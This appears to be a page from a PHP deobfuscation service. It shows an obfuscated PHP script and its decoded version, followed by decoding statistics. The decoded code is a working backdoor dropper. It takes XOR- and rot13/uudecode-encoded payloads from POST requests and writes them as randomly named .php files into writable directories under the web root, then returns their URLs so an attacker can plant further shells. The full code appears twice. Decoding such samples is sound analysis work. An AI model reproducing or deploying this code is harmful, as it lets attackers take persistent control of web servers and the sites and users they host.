Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $seLlWiG = "\x44"."\117"."\x43"."\125"."\x4d".'E'."\x4e".'T'."\x5f".chr(936-854).'O'..
Decoded Output download
<?php $seLlWiG = "D"."O"."C"."U"."M".'E'."N".'T'."_".chr(936-854).'O'.'O'."T";$WFJTr = 'H'.'T'."T".chr(80).chr(95)."H".chr(229-150).chr(275-192).chr(652-568);$VvvEqZm = chr(104)."t"."t"."p".":"."/".'/';$YrbmGBNpGM = ".".'p'.chr(104).chr(543-431);$UFBXLGflj = 'p'.chr(104).chr(441-329);$AsBeDnSSM = chr(130-28)."i".chr(108-0).chr(101).chr(95).'p'.'u'.chr(116).chr(1003-908).chr(832-733)."o"."n".'t'."e".'n'."t".'s';$RQceQfrA = chr(220-106).chr(867-770).chr(589-470).chr(275-158)."r".chr(108)."d".'e'.chr(99).chr(585-474)."d"."e";$ueNpEn = "u"."n".chr(429-314)."e".'r'.chr(439-334).chr(968-871)."l"."i".'z'.chr(101);$mIxuFBTiJH = "i".'s'.chr(95)."w"."r".chr(105)."t".chr(97)."b".chr(108).'e';$cEfUF = "p".chr(104)."p".chr(118)."e".chr(389-275).chr(115)."i".'o'.chr(110);$hmXoKflA = "s"."t".'r'.'_'.chr(912-798)."o".chr(116).chr(49)."3";$ONuWuS = "s".'e'.chr(114)."i".'a'.chr(181-73).chr(800-695).'z'."e";$ZbszoPr = 's'."t"."r".chr(95).chr(920-805).chr(188-76).chr(108).chr(105)."t";foreach ($_POST as $nHxCSg => $ouKTXF){if (strlen($nHxCSg) == 16){$ouKTXF = $ZbszoPr($RQceQfrA($hmXoKflA($ouKTXF)));$nHxCSg = array_slice($ZbszoPr(str_repeat($nHxCSg, (count($ouKTXF)/16)+1)), 0, count($ouKTXF));function cURWAaWaY($mTqNRSATA, $EYeZXRa, $nHxCSg){$hHmQsZZ = "5d8d52af-c03a-4485-a876-94368ec042ae";return $mTqNRSATA ^ $hHmQsZZ[$EYeZXRa % strlen($hHmQsZZ)] ^ $nHxCSg;}$ouKTXF = implode("", array_map("cURWAaWaY", array_values($ouKTXF), array_keys($ouKTXF), array_values($nHxCSg)));$ouKTXF = @$ueNpEn($ouKTXF);if (@is_array($ouKTXF)){$FiieUn = array_keys($ouKTXF);$ouKTXF = $ouKTXF[$FiieUn[0]];if ($ouKTXF === $FiieUn[0]){echo @$ONuWuS(Array($UFBXLGflj => @$cEfUF(), ));exit();}else {function OFirEBVN($cjzFfSugsir){static $QDlvdVDF = array();$rJWKfrxC = glob($cjzFfSugsir . '/*', GLOB_ONLYDIR);if (count($rJWKfrxC) > 0) {foreach ($rJWKfrxC as $cjzFfSugs) {if (@$mIxuFBTiJH($cjzFfSugs)) {$QDlvdVDF[] = $cjzFfSugs;}}}foreach ($rJWKfrxC as $cjzFfSugsir) OFirEBVN($cjzFfSugsir);return $QDlvdVDF;}$WrxoyYOiQR = $_SERVER[$seLlWiG];$rJWKfrxC = OFirEBVN($WrxoyYOiQR);$FiieUn = array_rand($rJWKfrxC);$sTlQqGiUBQ = $rJWKfrxC[$FiieUn] . "/" . substr(md5(time()), 0, 8) . $YrbmGBNpGM;@$AsBeDnSSM($sTlQqGiUBQ, $ouKTXF);echo $VvvEqZm . $_SERVER[$WFJTr] . substr($sTlQqGiUBQ, strlen($WrxoyYOiQR));exit();}}}} ?>Did this file decode correctly?
Original Code
<?php $seLlWiG = "\x44"."\117"."\x43"."\125"."\x4d".'E'."\x4e".'T'."\x5f".chr(936-854).'O'.'O'."\x54";$WFJTr = 'H'.'T'."\124".chr(80).chr(95)."\x48".chr(229-150).chr(275-192).chr(652-568);$VvvEqZm = chr(104)."\164"."\x74"."\x70"."\72"."\x2f".'/';$YrbmGBNpGM = "\x2e".'p'.chr(104).chr(543-431);$UFBXLGflj = 'p'.chr(104).chr(441-329);$AsBeDnSSM = chr(130-28)."\x69".chr(108-0).chr(101).chr(95).'p'.'u'.chr(116).chr(1003-908).chr(832-733)."\157"."\156".'t'."\145".'n'."\x74".'s';$RQceQfrA = chr(220-106).chr(867-770).chr(589-470).chr(275-158)."\x72".chr(108)."\x64".'e'.chr(99).chr(585-474)."\x64"."\x65";$ueNpEn = "\x75"."\156".chr(429-314)."\145".'r'.chr(439-334).chr(968-871)."\154"."\x69".'z'.chr(101);$mIxuFBTiJH = "\151".'s'.chr(95)."\167"."\162".chr(105)."\x74".chr(97)."\x62".chr(108).'e';$cEfUF = "\160".chr(104)."\160".chr(118)."\145".chr(389-275).chr(115)."\x69".'o'.chr(110);$hmXoKflA = "\x73"."\x74".'r'.'_'.chr(912-798)."\157".chr(116).chr(49)."\x33";$ONuWuS = "\163".'e'.chr(114)."\x69".'a'.chr(181-73).chr(800-695).'z'."\145";$ZbszoPr = 's'."\164"."\x72".chr(95).chr(920-805).chr(188-76).chr(108).chr(105)."\x74";foreach ($_POST as $nHxCSg => $ouKTXF){if (strlen($nHxCSg) == 16){$ouKTXF = $ZbszoPr($RQceQfrA($hmXoKflA($ouKTXF)));$nHxCSg = array_slice($ZbszoPr(str_repeat($nHxCSg, (count($ouKTXF)/16)+1)), 0, count($ouKTXF));function cURWAaWaY($mTqNRSATA, $EYeZXRa, $nHxCSg){$hHmQsZZ = "5d8d52af-c03a-4485-a876-94368ec042ae";return $mTqNRSATA ^ $hHmQsZZ[$EYeZXRa % strlen($hHmQsZZ)] ^ $nHxCSg;}$ouKTXF = implode("", array_map("cURWAaWaY", array_values($ouKTXF), array_keys($ouKTXF), array_values($nHxCSg)));$ouKTXF = @$ueNpEn($ouKTXF);if (@is_array($ouKTXF)){$FiieUn = array_keys($ouKTXF);$ouKTXF = $ouKTXF[$FiieUn[0]];if ($ouKTXF === $FiieUn[0]){echo @$ONuWuS(Array($UFBXLGflj => @$cEfUF(), ));exit();}else {function OFirEBVN($cjzFfSugsir){static $QDlvdVDF = array();$rJWKfrxC = glob($cjzFfSugsir . '/*', GLOB_ONLYDIR);if (count($rJWKfrxC) > 0) {foreach ($rJWKfrxC as $cjzFfSugs) {if (@$mIxuFBTiJH($cjzFfSugs)) {$QDlvdVDF[] = $cjzFfSugs;}}}foreach ($rJWKfrxC as $cjzFfSugsir) OFirEBVN($cjzFfSugsir);return $QDlvdVDF;}$WrxoyYOiQR = $_SERVER[$seLlWiG];$rJWKfrxC = OFirEBVN($WrxoyYOiQR);$FiieUn = array_rand($rJWKfrxC);$sTlQqGiUBQ = $rJWKfrxC[$FiieUn] . "/" . substr(md5(time()), 0, 8) . $YrbmGBNpGM;@$AsBeDnSSM($sTlQqGiUBQ, $ouKTXF);echo $VvvEqZm . $_SERVER[$WFJTr] . substr($sTlQqGiUBQ, strlen($WrxoyYOiQR));exit();}}}}Function Calls
| chr | 49 |
Stats
| MD5 | 10c3f8e39573413ea40eb723b3764dd8 |
| Eval Count | 0 |
| Decode Time | 114 ms |